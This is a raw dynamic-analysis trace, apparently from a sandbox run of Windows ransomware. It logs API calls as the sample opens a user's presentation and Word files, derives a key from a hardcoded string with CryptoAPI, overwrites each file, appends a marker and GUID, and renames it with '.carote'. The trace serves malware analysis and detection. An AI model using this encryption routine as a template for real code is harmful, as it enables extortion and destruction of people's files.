lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd96240, ftCreationTime.dwHighDateTime=0x1d4d09b, ftLastAccessTime.dwLowDateTime=0xc31989c0, ftLastAccessTime.dwHighDateTime=0x1d4cb50, ftLastWriteTime.dwLowDateTime=0xc31989c0, ftLastWriteTime.dwHighDateTime=0x1d4cb50, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0yZWpZno3W y.pptx", cAlternateFileName="0YZWPZ~1.PPT")) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.704] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\0yZWpZno3W y.pptx") returned=".pptx" [0112.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\0yZWpZno3W y.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\0yzwpzno3w y.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.705] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=90056) returned 1 [0112.705] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.706] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15fa2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.706] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.708] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.708] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.708] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.708] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x15fc8, lpOverlapped=0x0) returned 1 [0112.709] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.709] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.709] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.709] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.709] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.710] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.710] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.710] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.710] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.710] GetLastError () returned 0x0 [0112.710] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.710] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.710] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.710] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x15fd0) returned 0x7b182e0 [0112.711] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.711] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x15fc3, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x15fc3, lpOverlapped=0x0) returned 1 [0112.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.711] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15fc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.711] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.711] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.711] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.712] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.712] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.712] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.712] CloseHandle (hObject=0x61c) returned 1 [0112.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.713] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.713] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\0yZWpZno3W y.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\0yzwpzno3w y.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\0yZWpZno3W y.pptx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\0yzwpzno3w y.pptx.carote")) returned 1 [0112.713] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.713] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.714] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.714] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1008dde0, ftCreationTime.dwHighDateTime=0x1d4d073, ftLastAccessTime.dwLowDateTime=0x6eeb3230, ftLastAccessTime.dwHighDateTime=0x1d4cb65, ftLastWriteTime.dwLowDateTime=0x6eeb3230, ftLastWriteTime.dwHighDateTime=0x1d4cb65, nFileSizeHigh=0x0, nFileSizeLow=0x3d53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2i6XeIHPx.pps", cAlternateFileName="2I6XEI~1.PPS")) returned 1 [0112.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.714] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.714] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\2i6XeIHPx.pps") returned=".pps" [0112.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\2i6XeIHPx.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\2i6xeihpx.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.718] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=15699) returned 1 [0112.718] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.720] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3d2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.720] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.721] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.721] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.721] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.721] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x3d53, lpOverlapped=0x0) returned 1 [0112.722] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.722] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.722] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.722] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.722] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.723] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.723] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.723] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.723] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.723] GetLastError () returned 0x0 [0112.723] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.723] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.723] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x3d50) returned 0x7b182e0 [0112.723] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.723] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x3d4e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x3d4e, lpOverlapped=0x0) returned 1 [0112.723] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.723] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3d53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.724] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.724] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.724] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.724] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.724] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.724] CloseHandle (hObject=0x61c) returned 1 [0112.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.725] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.725] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\2i6XeIHPx.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\2i6xeihpx.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\2i6XeIHPx.pps.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\2i6xeihpx.pps.carote")) returned 1 [0112.725] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.726] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.726] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f33830, ftCreationTime.dwHighDateTime=0x1d4d043, ftLastAccessTime.dwLowDateTime=0xc5381730, ftLastAccessTime.dwHighDateTime=0x1d4cc04, ftLastWriteTime.dwLowDateTime=0xc5381730, ftLastWriteTime.dwHighDateTime=0x1d4cc04, nFileSizeHigh=0x0, nFileSizeLow=0x1866b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6UsyGLFtiuFsm.docx", cAlternateFileName="6USYGL~1.DOC")) returned 1 [0112.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.726] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.726] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\6UsyGLFtiuFsm.docx") returned=".docx" [0112.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\6UsyGLFtiuFsm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\6usyglftiufsm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.727] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=99947) returned 1 [0112.727] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.729] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18645, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.729] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.730] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.730] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1866b, lpOverlapped=0x0) returned 1 [0112.731] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.731] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.731] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.731] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.731] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.732] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.732] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.732] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.732] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.732] GetLastError () returned 0x0 [0112.732] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.732] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.732] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.732] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18670) returned 0x7b182e0 [0112.733] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.733] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x18666, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x18666, lpOverlapped=0x0) returned 1 [0112.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.733] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1866b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.733] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.733] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.733] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.733] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.734] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.734] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.734] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.734] CloseHandle (hObject=0x61c) returned 1 [0112.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.735] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.735] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\6UsyGLFtiuFsm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\6usyglftiufsm.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\6UsyGLFtiuFsm.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\6usyglftiufsm.docx.carote")) returned 1 [0112.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.735] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.736] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8d120, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb9ca75e0, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0xb9ca75e0, ftLastWriteTime.dwHighDateTime=0x1d4ccb4, nFileSizeHigh=0x0, nFileSizeLow=0x8fbf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAhk-.pps", cAlternateFileName="")) returned 1 [0112.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.736] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.736] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.736] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\YAhk-.pps") returned=".pps" [0112.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\YAhk-.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p4qbpubf\\yahk-.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.737] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=36799) returned 1 [0112.737] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.738] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8f99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.738] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.739] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 